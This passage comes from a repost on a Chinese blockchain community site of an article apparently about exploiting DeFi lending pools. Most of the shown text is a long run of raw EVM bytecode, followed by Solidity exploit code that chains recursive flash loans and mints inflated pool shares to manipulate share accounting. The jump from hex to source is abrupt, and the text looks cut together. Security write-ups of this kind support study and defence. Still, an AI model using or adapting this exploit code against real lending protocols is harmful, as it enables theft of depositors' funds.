90565b61004e565b61036a90610140565b9052565b610377906101dc565b9052565b91602061039d92949361039660408201966000830190610361565b019061036e565b565b6103a7610043565b3d6000823e3d90fd5b6103b9906100d0565b90565b905051906103c9826101df565b565b906020828203126103e5576103e2916000016103bc565b90565b61004e565b91602061040c9294936104056040820196600083019061036e565b0190610361565b565b610417906100d0565b90565b919061042e90600060208501940190610361565b565b600091031261043b57565b61004e565b634e487b7160e01b600052602160045260246000fd5b6002111561046057565b610440565b9061046f82610456565b565b61047a90610465565b90565b61048690610471565b9052565b9160206104ac9294936104a56040820196600083019061047d565b019061036e565b565b90565b6104c56104c06104ca926104ae565b61006e565b6101dc565b90565b634e487b7160e01b600052601160045260246000fd5b6104f26104f8919392936101dc565b926101dc565b820391821161050357565b6104cd565b90565b61051f61051a61052492610508565b61006e565b6101dc565b90565b9395909692949194610538816100dc565b602063095ea7b391610549896102b9565b906105686000889561057361055c610043565b97889687958694610313565b84526004840161037b565b03925af18015610d0b57610cdf575b50602061058e876102b9565b636e553f6594906105bb60006105a3306103b0565b976105c66105af610043565b998a9687958694610313565b8452600484016103ea565b03925af1928315610cda5761063193610cae575b506105e4866102b9565b63095ea7b3906105f38961040e565b9160206105ff8a6102b9565b6370a0823190610626610611306103b0565b9261061a610043565b9a8b9485938493610313565b83526004830161041a565b03915afa958615610ca957600096610c6c575b509061066660006020949361067161065a610043565b998a9687958694610313565b84526004840161037b565b03925af1928315610c675761071c93610c3b575b5061069f6106996106946100a5565b61014c565b9161014c565b14600014610c345760005b846106c46106be6106b96100a5565b61014c565b9161014c565b14600014610c2d5760005b956106d98861040e565b60206106ea632776a6ba94936102b9565b6370a08231906107116106fc306103b0565b92610705610043565b998a9485938493610313565b83526004830161041a565b03915afa948515610c2857600095610bf8575b50803b15610bf35761075560008094610760610749610043565b98899687958694610313565b84526004840161048a565b03925af1918215610bee5761078592610bc1575b5061077f60056104b1565b906104e3565b9161078f816100dc565b602063095ea7b3916107a0896102b9565b906107c060008019956107cb6107b4610043565b97889687958694610313565b84526004840161037b565b03925af18015610bbc57610b90575b506107e4866102b9565b63b9f412b090803b15610b8b5761080891600091610800610043565b938492610313565b825281838161081960048201610274565b03925af18015610b8657610b59575b505b8261083e610838600061050b565b916101dc565b1115610a44576108686020610852886102b9565b633b1d21a290610860610043565b938492610313565b8252818061087860048201610274565b03915afa908115610a3f57600091610a11575b508361089f610899836101dc565b916101dc565b11600014610a0a575b926108b28661040e565b9063137b0fd1868693803b15610a05576108e0600080946108eb6108d4610043565b98899687958694610313565b84526004840161048a565b03925af1918215610a0057610907926109d3575b5084906104e3565b928361091c610916600061050b565b916101dc565b03610928575b5061082a565b8361093b610935836101dc565b916101dc565b106000146109ce5750825b6020610951886102b9565b636e553f65929061097e6000610966306103b0565b95610989610972610043565b97889687958694610313565b8452600484016103ea565b03925af180156109c95761099d575b610922565b6109bd9060203d81116109c2575b6109b581836102ea565b8101906103cb565b610998565b503d6109ab565b61039f565b610946565b6109f39060003d81116109f9575b6109eb81836102ea565b810190610430565b386108ff565b503d6109e1565b61039f565b6102c5565b50826108a8565b610a32915060203d8111610a38575b610a2a81836102ea565b8101906103cb565b3861088b565b503d610a20565b61039f565b935093505050610a9b610a56826100dc565b9163a9059cbb926020610a6933936100dc565b6370a0823190610a90610a7b306103b0565b92610a84610043565b97889485938493610313565b83526004830161041a565b03915afa928315610b5457600093610b1d575b506```
IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        } else if (flashloanData.step == 4) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolA1.getCash();
                if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;

                FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolA1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolA1), type(uint256).max);
                lendingPoolA1.mint(totalShares * 1000000, address(this));

                IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount + 1);
            }
        } else if (flashloanData.step == 5) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolB1.getCash();
                if (cashLeft < nextBorrowAmount) nextBorrowAmount = cashLeft;

                FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolB1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolB1), type(uint256).max);
                lendingPoolB1.mint(totalShares * 1000000, address(this));

                IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        }
    }
}
  • 原文链接: hackmd.io/@billh/Certora...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
billh_
billh_
江湖只有他的大名,没有他的介绍。